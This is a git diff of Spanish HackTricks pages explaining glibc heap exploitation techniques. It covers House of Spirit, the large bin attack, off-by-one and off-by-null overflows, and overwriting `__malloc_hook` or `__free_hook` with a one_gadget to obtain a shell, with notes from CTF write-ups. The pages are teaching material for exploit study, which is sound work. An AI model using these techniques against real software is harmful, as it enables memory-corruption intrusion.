* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Casa de Espíritu
|
||||
# Casa del Espíritu
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Información Básica
|
||||
|
||||
|
@ -20,7 +21,7 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Casa de Espíritu</summary>
|
||||
<summary>Casa del Espíritu</summary>
|
||||
```c
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
|
@ -77,7 +78,7 @@ return 0;
|
|||
|
||||
### Ataque
|
||||
|
||||
* Crear fragmentos falsos que eviten las comprobaciones de seguridad: necesitarás 2 fragmentos falsos básicamente indicando en las posiciones correctas los tamaños correctos
|
||||
* Crear fragmentos falsos que eviten las comprobaciones de seguridad: básicamente necesitarás 2 fragmentos falsos indicando en las posiciones correctas los tamaños correctos
|
||||
* De alguna manera lograr liberar el primer fragmento falso para que entre en el bin rápido o tcache y luego asignarlo para sobrescribir esa dirección
|
||||
|
||||
**El código de** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **es excelente para entender el ataque.** Aunque este esquema del código lo resume bastante bien:
|
||||
|
@ -123,16 +124,17 @@ La próxima vez que se llame a `scanf`, podemos enviar la entrada `"/bin/sh"` y
|
|||
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit)
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# Ataque al Large Bin
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Información Básica
|
||||
|
||||
Para obtener más información sobre qué es un large bin, consulta esta página:
|
||||
Para más información sobre qué es un large bin, consulta esta página:
|
||||
|
||||
{% content-ref url="bins-and-memory-allocations.md" %}
|
||||
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
|
||||
|
@ -24,21 +25,21 @@ Para obtener más información sobre qué es un large bin, consulta esta página
|
|||
|
||||
Es posible encontrar un gran ejemplo en [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/large\_bin\_attack.c).
|
||||
|
||||
Básicamente aquí puedes ver cómo, en la última versión "actual" de glibc (2.35), no se verifica: **`P->bk_nextsize`** permitiendo modificar una dirección arbitraria con el valor de un fragmento de large bin si se cumplen ciertas condiciones.
|
||||
Básicamente aquí puedes ver cómo, en la última versión "actual" de glibc (2.35), no se verifica: **`P->bk_nextsize`** permitiendo modificar una dirección arbitraria con el valor de un chunk de large bin si se cumplen ciertas condiciones.
|
||||
|
||||
En ese ejemplo puedes encontrar las siguientes condiciones:
|
||||
|
||||
* Se asigna un fragmento grande
|
||||
* Se asigna un fragmento grande más pequeño que el primero pero en el mismo índice
|
||||
* Se asigna un chunk grande
|
||||
* Se asigna un chunk grande más pequeño que el primero pero en el mismo índice
|
||||
* Debe ser más pequeño para que vaya primero en el bin
|
||||
* (Se crea un fragmento para evitar la fusión con el fragmento superior)
|
||||
* Luego, se libera el primer fragmento grande y se asigna un nuevo fragmento más grande que él -> El fragmento1 va al large bin
|
||||
* Luego, se libera el segundo fragmento grande
|
||||
* (Se crea un chunk para evitar la fusión con el chunk superior)
|
||||
* Luego, se libera el primer chunk grande y se asigna un nuevo chunk más grande que él -> Chunk1 va al large bin
|
||||
* Luego, se libera el segundo chunk grande
|
||||
* Ahora, la vulnerabilidad: El atacante puede modificar `chunk1->bk_nextsize` a `[target-0x20]`
|
||||
* Luego, se asigna un fragmento más grande que el fragmento 2, por lo que el fragmento2 se inserta en el large bin sobrescribiendo la dirección `chunk1->bk_nextsize->fd_nextsize` con la dirección del fragmento2
|
||||
* Luego, se asigna un chunk más grande que el chunk 2, por lo que el chunk2 se inserta en el large bin sobrescribiendo la dirección `chunk1->bk_nextsize->fd_nextsize` con la dirección de chunk2
|
||||
|
||||
{% hint style="success" %}
|
||||
Existen otros escenarios potenciales, la idea es agregar al large bin un fragmento que sea **más pequeño** que un fragmento X actual en el bin, por lo que debe ser insertado justo antes en el bin, y debemos poder modificar **`bk_nextsize`** de X ya que ahí se escribirá la dirección del fragmento más pequeño.
|
||||
Existen otros escenarios potenciales, la idea es agregar al large bin un chunk que sea **más pequeño** que un chunk X actual en el bin, por lo que debe ser insertado justo antes en el bin, y necesitamos poder modificar **`bk_nextsize`** de X ya que ahí se escribirá la dirección del chunk más pequeño.
|
||||
{% endhint %}
|
||||
|
||||
Este es el código relevante de malloc. Se han añadido comentarios para entender mejor cómo se sobrescribió la dirección:
|
||||
|
@ -59,27 +60,28 @@ fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Esto podría ser utilizado para **sobrescribir la variable global `global_max_fast`** de libc para luego explotar un ataque de fast bin con fragmentos más grandes.
|
||||
Esto podría ser utilizado para **sobrescribir la variable global `global_max_fast`** de libc y luego explotar un ataque de fast bin con fragmentos más grandes.
|
||||
|
||||
Puedes encontrar otra excelente explicación de este ataque en [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin\_attack/largebin\_explanation0/index.html).
|
||||
|
||||
### Otros ejemplos
|
||||
|
||||
* [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/)
|
||||
* Ataque de large bin en la misma situación tal como aparece en [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/large\_bin\_attack.c).
|
||||
* Ataque de large bin en la misma situación que aparece en [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/large\_bin\_attack.c).
|
||||
* La primitiva de escritura es más compleja, porque `global_max_fast` es inútil aquí.
|
||||
* Se necesita FSOP para finalizar la explotación.
|
||||
* Se necesita FSOP para finalizar el exploit.
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,31 @@
|
|||
# Desbordamiento por uno
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Información Básica
|
||||
## Información básica
|
||||
|
||||
Tener acceso a un desbordamiento de 1B permite a un atacante modificar el campo `size` del siguiente chunk. Esto permite manipular qué chunks se liberan realmente, potencialmente generando un chunk que contiene otro chunk legítimo. La explotación es similar a [doble liberación](double-free.md) o a solapamiento de chunks.
|
||||
Tener acceso a un desbordamiento por uno de 1 byte permite a un atacante modificar el campo `size` del siguiente chunk. Esto permite manipular qué chunks se liberan realmente, potencialmente generando un chunk que contiene otro chunk legítimo. La explotación es similar a la de [doble liberación](double-free.md) o a la de solapamiento de chunks.
|
||||
|
||||
Existen 2 tipos de vulnerabilidades de desbordamiento por uno:
|
||||
|
||||
* Byte arbitrario: Este tipo permite sobrescribir ese byte con cualquier valor
|
||||
* Byte nulo (off-by-null): Este tipo permite sobrescribir ese byte solo con 0x00
|
||||
* Byte arbitrario: Este tipo permite sobrescribir ese byte con cualquier valor.
|
||||
* Byte nulo (off-by-null): Este tipo permite sobrescribir ese byte solo con 0x00.
|
||||
* Un ejemplo común de esta vulnerabilidad se puede ver en el siguiente código donde el comportamiento de `strlen` y `strcpy` es inconsistente, lo que permite establecer un byte 0x00 al principio del siguiente chunk.
|
||||
* Esto se puede explotar con el [House of Einherjar](house-of-einherjar.md).
|
||||
* Si se utiliza Tcache, esto se puede aprovechar para una situación de [doble liberación](double-free.md).
|
||||
* Si se utiliza Tcache, esto se puede aprovechar para una situación de [doble liberación](double-free.md).
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -65,8 +66,8 @@ Entre otras comprobaciones, ahora cada vez que se libera un fragmento, se compar
|
|||
|
||||
### Ataque general de desbordamiento de un byte
|
||||
|
||||
* Asigna tres fragmentos `A`, `B` y `C` (digamos tamaños 0x20), y otro para evitar la consolidación con el fragmento superior.
|
||||
* Libera `C` (insertado en la lista de fragmentos Tcache de 0x20).
|
||||
* Asigna tres fragmentos `A`, `B` y `C` (digamos de tamaño 0x20), y otro para evitar la consolidación con el fragmento superior.
|
||||
* Libera `C` (insertado en la lista de fragmentos libres de Tcache de 0x20).
|
||||
* Usa el fragmento `A` para desbordar en `B`. Abusa del desbordamiento de un byte para modificar el campo `size` de `B` de 0x21 a 0x41.
|
||||
* Ahora tenemos que `B` contiene el fragmento libre `C`
|
||||
* Libera `B` y asigna un fragmento de 0x40 (se colocará aquí nuevamente)
|
||||
|
@ -96,31 +97,7 @@ Esta imagen explica perfectamente el ataque:
|
|||
* Finalmente, se abusa de la escritura arbitraria para escribir en la dirección de \_\_free\_hook con un gadget único.
|
||||
* [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off\_by\_one/#instance-2-plaidctf-2015-plaiddb)
|
||||
* Hay una vulnerabilidad de desbordamiento de un byte nulo en la función `getline` que lee líneas de entrada de usuario. Esta función se utiliza para leer la "clave" del contenido y no el contenido.
|
||||
* En el análisis se crean 5 fragmentos iniciales:
|
||||
* fragmento1 (0x200)
|
||||
* fragmento2 (0x50)
|
||||
* fragmento5 (0x68)
|
||||
* fragmento3 (0x1f8)
|
||||
* fragmento4 (0xf0)
|
||||
* fragmento de defensa (0x400) para evitar la consolidación con el fragmento superior
|
||||
* Luego se liberan los fragmentos 1, 5 y 3, por lo que:
|
||||
* ```python
|
||||
[ 0x200 Fragmento 1 (libre) ] [ 0x50 Fragmento 2 ] [ 0x68 Fragmento 5 (libre) ] [ 0x1f8 Fragmento 3 (libre) ] [ 0xf0 Fragmento 4 ] [ 0x400 Fragmento de defensa ]
|
||||
```
|
||||
* Luego, abusando del fragmento3 (0x1f8) se abusa del desbordamiento de un byte nulo escribiendo el prev\_size a `0x4e0`.
|
||||
* Observa cómo los tamaños de los fragmentos inicialmente asignados 1, 2, 5 y 3 más los encabezados de 4 de esos fragmentos suman `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0`
|
||||
* Luego, se libera el fragmento 4, generando un fragmento que consume todos los fragmentos hasta el principio:
|
||||
* ```python
|
||||
[ 0x4e0 Fragmento 1-2-5-3 (libre) ] [ 0xf0 Fragmento 4 (corrupto) ] [ 0x400 Fragmento de defensa ]
|
||||
```
|
||||
* ```python
|
||||
[ 0x200 Fragmento 1 (libre) ] [ 0x50 Fragmento 2 ] [ 0x68 Fragmento 5 (libre) ] [ 0x1f8 Fragmento 3 (libre) ] [ 0xf0 Fragmento 4 ] [ 0x400 Fragmento de defensa ]
|
||||
```
|
||||
* Luego, se asignan `0x200` bytes llenando el fragmento original 1
|
||||
* Y se asignan otros 0x200 bytes y se destruye el fragmento2 y por lo tanto no hay ninguna fuga y esto no funciona? Tal vez esto no debería hacerse
|
||||
* Luego, asigna otro fragmento con 0x58 "a"s (sobrescribiendo el fragmento2 y alcanzando el fragmento5) y modifica el puntero `fd` del fragmento de fast bin de fragmento5 apuntando a `__malloc_hook`
|
||||
* Luego, se asigna un fragmento de 0x68 para que el fragmento de fast bin falso en `__malloc_hook` sea el siguiente fragmento de fast bin
|
||||
* Finalmente, se asigna un nuevo fragmento de fast bin de 0x68 y se sobrescribe `__malloc_hook` con una dirección de `one_gadget`
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de Github.
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de Github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Sobrescribiendo un fragmento liberado
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ayuda a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Varias de las técnicas de explotación de montón propuestas necesitan poder sobrescribir punteros dentro de fragmentos liberados. El objetivo de esta página es resumir las posibles vulnerabilidades que podrían otorgar este acceso:
|
||||
|
||||
|
@ -26,8 +27,23 @@ Si el atacante puede **`liberar` dos veces el mismo fragmento** (liberar otros f
|
|||
|
||||
### Desbordamiento de Montón
|
||||
|
||||
Podría ser posible **desbordar un fragmento asignado teniendo a continuación un fragmento liberado** y modificar algunos encabezados/punteros de este.
|
||||
Podría ser posible **desbordar un fragmento asignado teniendo al lado un fragmento liberado** y modificar algunos encabezados/punteros de este.
|
||||
|
||||
### Desbordamiento por uno
|
||||
|
||||
En este caso sería posible **modificar el tamaño** del fragmento siguiente en memoria. Un atacante podría abusar de esto para **hacer que un fragmento asignado tenga un tamaño mayor**, luego **`liberarlo`**, haciendo que el fragmento sea **agregado a un bin de un tamaño diferente** (mayor), luego asignar el **tamaño falso**, y el ataque tendrá acceso a un **fragmento con un tamaño que es mayor** de lo que realmente es, **concediendo así una situación de fragmentos superpuestos**, que es explotable de la misma manera que un **desbordamiento de montón** (ver sección anterior).
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ayuda a HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Ataque al Bin Tcache
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al grupo de [**telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
